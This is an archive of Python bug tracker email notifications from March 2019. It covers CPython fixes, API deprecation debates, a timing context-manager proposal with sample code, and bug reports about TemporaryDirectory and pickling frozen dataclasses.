the .rst files. So, maybe I could develop a wrapper for Sphinx and the
manpages.

So, thank you for your PR.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36401>
_______________________________________

From report at bugs.python.org  Mon Mar 25 01:26:16 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Mon, 25 Mar 2019 05:26:16 +0000
Subject: [issue36421] A possible double decref in _ctypes.c's
 PyCArrayType_new()
In-Reply-To: <1553484907.2.0.135764727701.issue36421@roundup.psfhosted.org>
Message-ID: <5e06fbff-e7a0-a69d-50c0-fbc90da244d4@wirtel.be>


St?phane Wirtel <stephane at wirtel.be> added the comment:

Hi Zackery,

just one question, how did you detect this bug? in reading the code,
with a tool (valgrind or sanitizer) or with a test?

Have a nice day and thank you for the clarification.

----------
nosy: +matrixise

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36421>
_______________________________________

From report at bugs.python.org  Mon Mar 25 01:38:46 2019
From: report at bugs.python.org (Manjusaka)
Date: Mon, 25 Mar 2019 05:38:46 +0000
Subject: [issue36054] Way to detect CPU count inside docker container
In-Reply-To: <1550681782.39.0.211832814896.issue36054@roundup.psfhosted.org>
Message-ID: <1553492326.15.0.877021913634.issue36054@roundup.psfhosted.org>


Manjusaka <lizheao940510 at gmail.com> added the comment:

Hi St?phane

Thanks a lot!

In my opinion, I would like to make an independent library that name is cgroups. For ease of use and compatibility, I think it's better than combining code with the os module.

Thanks for you working!

Manjusaka

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36054>
_______________________________________

From report at bugs.python.org  Mon Mar 25 02:10:45 2019
From: report at bugs.python.org (Alexander Mohr)
Date: Mon, 25 Mar 2019 06:10:45 +0000
Subject: [issue34745] asyncio ssl memory leak
In-Reply-To: <1537396860.59.0.956365154283.issue34745@psf.upfronthosting.co.za>
Message-ID: <1553494245.96.0.930774788242.issue34745@roundup.psfhosted.org>


Alexander Mohr <thehesiod at gmail.com> added the comment:

going to close, I've verified that it fixes my original issue, ty!!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34745>
_______________________________________

From report at bugs.python.org  Mon Mar 25 03:09:12 2019
From: report at bugs.python.org (David Chin)
Date: Mon, 25 Mar 2019 07:09:12 +0000
Subject: [issue35473] Intel compiler (icc) does not fully support C11 Features, 
 including atomics
In-Reply-To: <1544637027.92.0.788709270274.issue35473@psf.upfronthosting.co.za>
Message-ID: <1553497752.57.0.314660149715.issue35473@roundup.psfhosted.org>


Change by David Chin <david.w.h.chin at gmail.com>:


----------
nosy: +hairygristle

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35473>
_______________________________________

From report at bugs.python.org  Mon Mar 25 03:25:39 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 25 Mar 2019 07:25:39 +0000
Subject: [issue36218] .sort() segfaults consistently on crafted input
In-Reply-To: <1551909272.26.0.760081663583.issue36218@roundup.psfhosted.org>
Message-ID: <1553498739.98.0.600567163421.issue36218@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:


New changeset dd5417afcf8924bcdd7077351941ad21727ef644 by Raymond Hettinger (R?mi Lapeyre) in branch 'master':
bpo-36218: Fix handling of heterogeneous values in list.sort (GH-12209)
https://github.com/python/cpython/commit/dd5417afcf8924bcdd7077351941ad21727ef644


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36218>
_______________________________________

From report at bugs.python.org  Mon Mar 25 03:25:51 2019
From: report at bugs.python.org (miss-islington)
Date: Mon, 25 Mar 2019 07:25:51 +0000
Subject: [issue36218] .sort() segfaults consistently on crafted input
In-Reply-To: <1551909272.26.0.760081663583.issue36218@roundup.psfhosted.org>
Message-ID: <1553498751.37.0.78712784564.issue36218@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12482

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36218>
_______________________________________

From report at bugs.python.org  Mon Mar 25 03:48:03 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 25 Mar 2019 07:48:03 +0000
Subject: [issue36218] .sort() segfaults consistently on crafted input
In-Reply-To: <1551909272.26.0.760081663583.issue36218@roundup.psfhosted.org>
Message-ID: <1553500083.61.0.184729593562.issue36218@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:


New changeset 9dbb09fc27b99d2c08b8f56db71018eb828cc7cd by Raymond Hettinger (Miss Islington (bot)) in branch '3.7':
bpo-36218: Fix handling of heterogeneous values in list.sort (GH-12209) GH-12532)
https://github.com/python/cpython/commit/9dbb09fc27b99d2c08b8f56db71018eb828cc7cd


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36218>
_______________________________________

From report at bugs.python.org  Mon Mar 25 03:49:35 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 25 Mar 2019 07:49:35 +0000
Subject: [issue36218] .sort() segfaults consistently on crafted input
In-Reply-To: <1551909272.26.0.760081663583.issue36218@roundup.psfhosted.org>
Message-ID: <1553500175.25.0.0562512431172.issue36218@roundup.psfhosted.org>


Change by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36218>
_______________________________________

From report at bugs.python.org  Mon Mar 25 04:04:31 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 25 Mar 2019 08:04:31 +0000
Subject: [issue18104] Idle: make human-mediated GUI tests usable
In-Reply-To: <1369961521.26.0.131640091288.issue18104@psf.upfronthosting.co.za>
Message-ID: <1553501071.95.0.0842793835291.issue18104@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue18104>
_______________________________________

From report at bugs.python.org  Mon Mar 25 04:04:55 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 25 Mar 2019 08:04:55 +0000
Subject: [issue22614] Idle: problem in
 PyShellEditorWindow.color_breakpoint_text
In-Reply-To: <1413065880.69.0.0818621344041.issue22614@psf.upfronthosting.co.za>
Message-ID: <1553501095.49.0.464746757091.issue22614@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
assignee:  -> terry.reedy
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue22614>
_______________________________________

From report at bugs.python.org  Mon Mar 25 04:06:32 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 25 Mar 2019 08:06:32 +0000
Subject: [issue20338] Idle: increase max calltip width
In-Reply-To: <1390344102.42.0.241411598779.issue20338@psf.upfronthosting.co.za>
Message-ID: <1553501192.76.0.169307339492.issue20338@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue20338>
_______________________________________

From report at bugs.python.org  Mon Mar 25 04:06:57 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 25 Mar 2019 08:06:57 +0000
Subject: [issue21981] Idle problem
In-Reply-To: <1405338608.49183.YahooMailNeo@web87703.mail.ir2.yahoo.com>
Message-ID: <1553501217.28.0.285776875961.issue21981@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
assignee:  -> terry.reedy
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21981>
_______________________________________

From report at bugs.python.org  Mon Mar 25 04:07:34 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 25 Mar 2019 08:07:34 +0000
Subject: [issue18429] IDLE: Format Paragraph doesn't function with comment
 blocks
In-Reply-To: <1373565372.76.0.397397850212.issue18429@psf.upfronthosting.co.za>
Message-ID: <1553501254.88.0.996193817342.issue18429@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
assignee:  -> terry.reedy
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue18429>
_______________________________________

From report at bugs.python.org  Mon Mar 25 04:07:54 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 25 Mar 2019 08:07:54 +0000
Subject: [issue36421] A possible double decref in _ctypes.c's
 PyCArrayType_new()
In-Reply-To: <1553484684.08.0.15989371051.issue36421@roundup.psfhosted.org>
Message-ID: <1553501274.2.0.455459312954.issue36421@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset 5e333784f007950f22de44c1ffab5b0c03d6691f by Serhiy Storchaka (Zackery Spytz) in branch 'master':
bpo-36421: Fix a possible double decref in _ctypes.c's PyCArrayType_new(). (GH-12530)
https://github.com/python/cpython/commit/5e333784f007950f22de44c1ffab5b0c03d6691f


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36421>
_______________________________________

From report at bugs.python.org  Mon Mar 25 04:08:20 2019
From: report at bugs.python.org (miss-islington)
Date: Mon, 25 Mar 2019 08:08:20 +0000
Subject: [issue36421] A possible double decref in _ctypes.c's
 PyCArrayType_new()
In-Reply-To: <1553484684.08.0.15989371051.issue36421@roundup.psfhosted.org>
Message-ID: <1553501300.57.0.990452980912.issue36421@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12483

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36421>
_______________________________________

From report at bugs.python.org  Mon Mar 25 04:09:34 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 25 Mar 2019 08:09:34 +0000
Subject: [issue30348] IDLE: Add test_autocomplete unittests
In-Reply-To: <1494575756.78.0.347326025399.issue30348@psf.upfronthosting.co.za>
Message-ID: <1553501374.34.0.291111123952.issue30348@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

Followup is #36419.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
title: IDLE: Add test_autocomplete unittest -> IDLE: Add test_autocomplete unittests

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30348>
_______________________________________

From report at bugs.python.org  Mon Mar 25 04:19:21 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 25 Mar 2019 08:19:21 +0000
Subject: [issue36347] Renaming the constants for the .flags of PyMemberDef
In-Reply-To: <1552920150.75.0.888906424388.issue36347@roundup.psfhosted.org>
Message-ID: <1553501961.23.0.150406689434.issue36347@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

I am against deprecating READONLY. This will break virtually every third-party extension that use it. Many projects are strong about compiler warning and will need to rewrite the code that worked for years.

I think that we can add the deprecation warning only after the last version that do not have PY_READONLY (3.7) will be no longer supported. I.e. in 3.11 or something around.

Also I am not sure about using enums for flags. Would not this cause problems on C++?

Since this is an extending of the C API, it would be better to discuss the necessary of adding PY_READWRITE on Python-Dev.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36347>
_______________________________________

From report at bugs.python.org  Mon Mar 25 04:21:01 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 25 Mar 2019 08:21:01 +0000
Subject: [issue35884] Add variable access benchmark to Tools/Scripts
In-Reply-To: <1549052380.12.0.716539002961.issue35884@roundup.psfhosted.org>
Message-ID: <1553502061.71.0.609482371255.issue35884@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:


New changeset 68d228f174ceed151200e7e0b44ffc5edd4e0ea2 by Raymond Hettinger (Stefan Behnel) in branch 'master':
bpo-35884: Add string-keys-only microbenchmark for dict access to var_access_benchmark.py (GH-11905)
https://github.com/python/cpython/commit/68d228f174ceed151200e7e0b44ffc5edd4e0ea2


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35884>
_______________________________________

From report at bugs.python.org  Mon Mar 25 04:34:30 2019
From: report at bugs.python.org (miss-islington)
Date: Mon, 25 Mar 2019 08:34:30 +0000
Subject: [issue36421] A possible double decref in _ctypes.c's
 PyCArrayType_new()
In-Reply-To: <1553484684.08.0.15989371051.issue36421@roundup.psfhosted.org>
Message-ID: <1553502870.62.0.524810019725.issue36421@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset fa27870992a7228c8bf378d53649ee22333b69db by Miss Islington (bot) in branch '3.7':
bpo-36421: Fix a possible double decref in _ctypes.c's PyCArrayType_new(). (GH-12530)
https://github.com/python/cpython/commit/fa27870992a7228c8bf378d53649ee22333b69db


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36421>
_______________________________________

From report at bugs.python.org  Mon Mar 25 04:44:51 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 25 Mar 2019 08:44:51 +0000
Subject: [issue36415] [math] Implement pow2 function
In-Reply-To: <1553427190.47.0.856979759509.issue36415@roundup.psfhosted.org>
Message-ID: <1553503491.31.0.803822040353.issue36415@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

See also issue31980. The objections exposed there are applicable to this issue.

----------
nosy: +serhiy.storchaka
resolution:  -> rejected
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36415>
_______________________________________

From report at bugs.python.org  Mon Mar 25 05:01:07 2019
From: report at bugs.python.org (SilentGhost)
Date: Mon, 25 Mar 2019 09:01:07 +0000
Subject: [issue36408] Tkinter multi-processing performance,
 Linux 10-25 times faster than Windows 10
In-Reply-To: <1553356668.85.0.0833740641737.issue36408@roundup.psfhosted.org>
Message-ID: <1553504467.01.0.325985159695.issue36408@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
components: +Windows
nosy: +gpolo, paul.moore, serhiy.storchaka, steve.dower, tim.golden, zach.ware

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36408>
_______________________________________

From report at bugs.python.org  Mon Mar 25 05:02:26 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 25 Mar 2019 09:02:26 +0000
Subject: [issue36409] plistlib old API should be removed
In-Reply-To: <1553357509.76.0.695003516452.issue36409@roundup.psfhosted.org>
Message-ID: <1553504546.52.0.881143295278.issue36409@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

It was preserved for compatibility with Python 2.7. From PEP 4:

"In order to facilitate writing code that works in both Python 2 & 3 simultaneously, any module that exists in both Python 3.5 and Python 2.7 will not be removed from the standard library until Python 2.7 is no longer supported as specified by PEP 373."

3.9 will be the first Python 3 release after the EOL of 2.7.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36409>
_______________________________________

From report at bugs.python.org  Mon Mar 25 06:13:46 2019
From: report at bugs.python.org (Ronald Oussoren)
Date: Mon, 25 Mar 2019 10:13:46 +0000
Subject: [issue36347] Renaming the constants for the .flags of PyMemberDef
In-Reply-To: <1552920150.75.0.888906424388.issue36347@roundup.psfhosted.org>
Message-ID: <1553508826.27.0.7789856088.issue36347@roundup.psfhosted.org>


Ronald Oussoren <ronaldoussoren at mac.com> added the comment:

A discussion on the use of enum and deprecation warnings might be useful, although there is a significant risk on bike shedding.

I agree that formally deprecating READONLY can lead to uglier code in extension that use the value and need to support anything beyond the bleeding edge (although the complication isn't that bad: just add a conditional definition of PY_READONLY).  I'm personally not to worried about this, and generally prefer being more aggressive with adding deprecation warnings.


W.r.t. C++ and enums: that should be ok, especially when using anonymous enums that are basically only used to name constants.  

Bitmask with enums can be more problematic when using named enums that are also used for variable definitions because C++ compilers are allowed to use the minimal variable size that can represent all defined values (that's also a problem for the ABI), but it is also possible to use scoped enums to specify the size of values.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36347>
_______________________________________

From report at bugs.python.org  Mon Mar 25 06:50:21 2019
From: report at bugs.python.org (Zackery Spytz)
Date: Mon, 25 Mar 2019 10:50:21 +0000
Subject: [issue36421] A possible double decref in _ctypes.c's
 PyCArrayType_new()
In-Reply-To: <1553484684.08.0.15989371051.issue36421@roundup.psfhosted.org>
Message-ID: <1553511021.52.0.870242208721.issue36421@roundup.psfhosted.org>


Change by Zackery Spytz <zspytz at gmail.com>:


----------
pull_requests: +12484

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36421>
_______________________________________

From report at bugs.python.org  Mon Mar 25 07:16:45 2019
From: report at bugs.python.org (Riccardo Murri)
Date: Mon, 25 Mar 2019 11:16:45 +0000
Subject: [issue36422] tempfile.TemporaryDirectory() removes entire directory
 tree even if it's a mount-point
Message-ID: <1553512605.72.0.860422023516.issue36422@roundup.psfhosted.org>


New submission from Riccardo Murri <riccardo.murri at gmail.com>:

The behavior of `tempfile.TemporaryDirectory()` is to delete the
temporary directory when done; this behavior cannot be turned off
(there's no `delete=False`like `NamedTemporaryFile` has instead).

However, in case a filesystem has been mounted on the temporary
directory, this can lead to the entire filesystem being removed.

While I agree that it would be responsibility of the programmer to
ensure that anything that has been mounted on the temp dir is
unmounted, the current behavior makes it quite easy to shoot oneself
in the foot.  Consider the following code::

    @contextmanager
    def mount_sshfs(localdir, remote):
        subprocess.run(f"sshfs {remote} {localdir}")
        yield
        subprocess.run(f"fusermount -u {localdir}", check=True)

    with TemporaryDirectory() as tmpdir:
         with mount_sshfs(tmpdir, remote):
              # ... do stuff ...

Now, even if the `fusermount` call fails, cleanup of
`TemporaryDirectory()` will be performed and the remote filesystem
will be erased!

Is there a way this pattern can be prevented or at least mitigated?
Two options that come to mind:

* add a `delete=True/False` option to `TemporaryDirectory` like `NamedTemporaryFile` already has
* add a `delete_on_error` option to avoid performing cleanup during error exit from a `with:` block

I have seen this happen with Py 3.6 but it's likely there in the entire 3.x series since `TemporaryDirectory` was added to stdlib.

Thanks,
Riccardo

----------
components: Library (Lib)
messages: 338795
nosy: riccardomurri
priority: normal
severity: normal
status: open
title: tempfile.TemporaryDirectory() removes entire directory tree even if it's a mount-point
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36422>
_______________________________________

From report at bugs.python.org  Mon Mar 25 08:14:08 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 25 Mar 2019 12:14:08 +0000
Subject: [issue13611] Integrate ElementC14N module into xml.etree package
In-Reply-To: <1324023461.04.0.625039310668.issue13611@psf.upfronthosting.co.za>
Message-ID: <1553516048.46.0.190570422269.issue13611@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

References:

Canonical XML Version 2.0 -- https://www.w3.org/TR/xml-c14n2/
Test cases for Canonical XML 2.0 -- https://www.w3.org/TR/xml-c14n2-testcases/

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue13611>
_______________________________________

From report at bugs.python.org  Mon Mar 25 09:46:13 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 25 Mar 2019 13:46:13 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1553521573.23.0.000814874408226.issue36301@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12485

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Mon Mar 25 09:46:36 2019
From: report at bugs.python.org (Caleb Hattingh)
Date: Mon, 25 Mar 2019 13:46:36 +0000
Subject: [issue19495] context manager for measuring duration of blocks of code
In-Reply-To: <1383588451.25.0.545990193953.issue19495@psf.upfronthosting.co.za>
Message-ID: <1553521596.87.0.600186553687.issue19495@roundup.psfhosted.org>


Caleb Hattingh <caleb.hattingh at gmail.com> added the comment:

Somehow I missed that there's been an open issue on this. Like others I've written a bunch of different incarnations of an "elapsed" context manager over the years.  Always for the more crude "how long did this take" reason like David mentioned, never the microbenchmarks scenario that timeit serves. The work is never quite substantial enough to make a Pypi package of it, but always annoying to have to do again the next time the need arises. 


The overall least fiddly scheme I've found is to just use a callback. It's the simplest option:


@contextmanager
def elapsed(cb: Callable[[float, float], None], counter=time.perf_counter):
    t0 = counter()
    try:
        yield
    finally:
        t1 = counter()
        cb(t0, t1)


The simple case, the one most people want when they just want a quick check of elapsed time on a chunk of code, is then quite easy:


with elapsed(lambda t0, t1: print(f'read_excel: {t1 - t0:.2f} s')):
    # very large spreadsheet
    df = pandas.read_excel(filename, dtype=str)


(I rarely need to use a timer decorator for functions, because the profiler tracks function calls. But within the scope of a function it can sometimes be difficult to get timing information, particularly if the calls made there are into native extensions)

One of the consequences of using a callback strategy is that an additional version might be required for async callbacks (I have used these in production also):


@asynccontextmanager
async def aioelapsed(acb: Callable[[float, float], Awaitable[None]],
                     counter=time.perf_counter):
    t0 = counter()
    try:
        yield
    finally:
        t1 = counter()
        await acb(t0, t1)


So, the interesting thing here is that there is a general form for which an "elapsed" function is just a special case:


T = TypeVar('T')


@contextmanager
def sample_before_and_after(cb: Callable[[T, T], None], sample: Callable[[], T]):
    before = sample()
    try:
        yield
    finally:
        after = sample()
        cb(before, after)


The version of "elapsed" given further above is just this with kwarg sample=time.perf_counter.  So, it might be sufficient to cover the use-case of an "elapsed" context manager instead with something like the above instead, which is more general. However, I don't actually have any use cases for this more general thing above, other than "elapsed", but I thought it was interesting.


Whether any of this merits being in the stdlib or not is hard to say. These code snippets are all short and easy to write. But I've written them multiple times to make "elapsed".


---


Once the "elapsed" abstraction is available, other cool ideas become a little bit easier to think about. These would be things that are user code (not be in the stdlib), but which can make use of the "elapsed" cm; for example, a clever logger for slow code blocks (written a few of these too):


@contextmanager
def slow_code_logging(logger_name, msg, *args, threshold_sec=1.0, **kwargs):
    logger = logging.getLogger(logger_name)

    if logger.isEnabledFor(logging.INFO):
        def cb(t0: float, t1: float) -> None:
            dt = t1 - t0
            if dt < threshold_sec:
                # Change the logger level depending on threshold
                logger.debug(msg, dt, *args, **kwargs)
            else:
                logger.info(msg, dt, *args, **kwargs)

        cm = elapsed(cb)
    else:
        # Logger is not even enabled, do nothing.
        cm = nullcontext()

    with cm:
        yield


with slow_code_logging(__name__, 'Took longer to run than expected: %.4g s'):
    ...


And a super-hacky timing histogram generator (which would be quite interesting to use for measuring latency in network calls, e.g. with asyncio code):


@contextmanager
def histobuilder(counter, bin_size):
    def cb(t0, t1):
        dt = t1 - t0
        bucket = dt - dt % bin_size
        counter[bucket, bucket + bin_size] += 1

    with elapsed(cb, counter=time.perf_counter_ns):
        yield

counter = Counter()

for i in range(100):
    with histobuilder(counter, bin_size=int(5e4)):  # 50 us
        time.sleep(0.01)  # 10 ms

for (a, b), v in sorted(counter.items(), key=lambda _: _[0][0]):
    print(f'{a/1e6:6.2f} ms - {b/1e6:>6.2f} ms: {v:4} ' + '\u2588' * v)


output:


  9.85 ms -   9.90 ms:    1 ?
  9.90 ms -   9.95 ms:   10 ??????????
  9.95 ms -  10.00 ms:   17 ?????????????????
 10.00 ms -  10.05 ms:    8 ????????
 10.05 ms -  10.10 ms:   12 ????????????
 10.10 ms -  10.15 ms:    5 ?????
 10.15 ms -  10.20 ms:    4 ????
 10.20 ms -  10.25 ms:    4 ????
 10.25 ms -  10.30 ms:    6 ??????
 10.30 ms -  10.35 ms:    9 ?????????
 10.35 ms -  10.40 ms:    3 ???
 10.40 ms -  10.45 ms:    5 ?????
 10.45 ms -  10.50 ms:   12 ????????????
 10.50 ms -  10.55 ms:    3 ???
 10.55 ms -  10.60 ms:    1 ?


Things like the histogram builder above become (for me) much simpler when "elapsed" is just a thing that already exists even though it's very simple on its own.

If the right call is that we shouldn't add such a thing to the stdlib, should we instead just add an example of an elapsed context manager to the contextlib docs? Perhaps copy-paste from the docs is good enough for most users (like we do with the itertools recipes for example).  I'd be willing to add something to the docs if it's decided that's the way to go.

(On the off chance some version of "elapsed" goes into the stdlib, I think contextlib is right place rather than timeit, particularly because of how the "sample_before_and_after" pattern generalises)

----------
nosy: +cjrh

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue19495>
_______________________________________

From report at bugs.python.org  Mon Mar 25 10:15:56 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 25 Mar 2019 14:15:56 +0000
Subject: [issue36421] A possible double decref in _ctypes.c's
 PyCArrayType_new()
In-Reply-To: <1553484684.08.0.15989371051.issue36421@roundup.psfhosted.org>
Message-ID: <1553523356.25.0.225120691507.issue36421@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset 0516f81828887a8ec34a3d5ed342dd396f367dcd by Serhiy Storchaka (Zackery Spytz) in branch '2.7':
[2.7] bpo-36421: Fix ref counting bugs in _ctypes.c's PyCArrayType_new(). (GH-12534)
https://github.com/python/cpython/commit/0516f81828887a8ec34a3d5ed342dd396f367dcd


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36421>
_______________________________________

From report at bugs.python.org  Mon Mar 25 10:16:30 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 25 Mar 2019 14:16:30 +0000
Subject: [issue36421] A possible double decref in _ctypes.c's
 PyCArrayType_new()
In-Reply-To: <1553484684.08.0.15989371051.issue36421@roundup.psfhosted.org>
Message-ID: <1553523390.23.0.542708787351.issue36421@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36421>
_______________________________________

From report at bugs.python.org  Mon Mar 25 10:25:19 2019
From: report at bugs.python.org (Ernest W. Durbin III)
Date: Mon, 25 Mar 2019 14:25:19 +0000
Subject: [issue2771] Test issue
In-Reply-To: <1210005645.74.0.283923986194.issue2771@psf.upfronthosting.co.za>
Message-ID: <1553523919.39.0.754570767889.issue2771@roundup.psfhosted.org>


Ernest W. Durbin III <ernest at python.org> added the comment:

Test Email Notification

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue2771>
_______________________________________

From report at bugs.python.org  Mon Mar 25 10:29:35 2019
From: report at bugs.python.org (Ernest W. Durbin III)
Date: Mon, 25 Mar 2019 14:29:35 +0000
Subject: [issue2771] Test issue
In-Reply-To: <1210005645.74.0.283923986194.issue2771@psf.upfronthosting.co.za>
Message-ID: <1553524175.06.0.180389820321.issue2771@roundup.psfhosted.org>


Ernest W. Durbin III <ernest at python.org> added the comment:

Test Notification

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue2771>
_______________________________________

From report at bugs.python.org  Mon Mar 25 10:52:56 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 25 Mar 2019 14:52:56 +0000
Subject: [issue36423] www.pythontest.net is down
Message-ID: <1553525576.43.0.839145582108.issue36423@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

https://buildbot.python.org/all/#/builders/96/builds/361

Re-running failed tests in verbose mode
Re-running test 'test_urllib2net' in verbose mode
ERROR: test_fileno (test.test_urllib2net.OtherNetworkTests)
ERROR: test_close (test.test_urllib2net.CloseSocketTest)
ERROR: test_ftp_default_timeout (test.test_urllib2net.TimeoutTest)
ERROR: test_ftp_no_timeout (test.test_urllib2net.TimeoutTest)
ERROR: test_ftp_timeout (test.test_urllib2net.TimeoutTest)

--

$ ping www.pythontest.net -c 1
PING www.pythontest.net (159.89.235.38) 56(84) bytes of data.
^C
--- www.pythontest.net ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms

----------
components: Tests
messages: 338801
nosy: vstinner
priority: normal
severity: normal
status: open
title: www.pythontest.net is down
versions: Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36423>
_______________________________________

From report at bugs.python.org  Mon Mar 25 11:00:04 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 25 Mar 2019 15:00:04 +0000
Subject: [issue36423] www.pythontest.net is down
In-Reply-To: <1553525576.43.0.839145582108.issue36423@roundup.psfhosted.org>
Message-ID: <1553526004.94.0.823457052278.issue36423@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

The server is back. No idea what happened...

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36423>
_______________________________________

From report at bugs.python.org  Mon Mar 25 11:18:08 2019
From: report at bugs.python.org (David Hagen)
Date: Mon, 25 Mar 2019 15:18:08 +0000
Subject: [issue36424] Pickle fails on frozen dataclass that has slots
Message-ID: <1553527088.82.0.636469633332.issue36424@roundup.psfhosted.org>


New submission from David Hagen <david at drhagen.com>:

If a dataclass is `frozen` and has `__slots__`, then unpickling an instance of it fails because the default behavior is to use `setattr` which `frozen` does not allow.

```
import pickle
from dataclasses import dataclass

@dataclass(frozen=True)
class A:
  __slots__ = ('a',)
  a: int

b = pickle.dumps(A(5))
pickle.loads(b)
```

```
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 3, in __setattr__
dataclasses.FrozenInstanceError: cannot assign to field 'a'
```

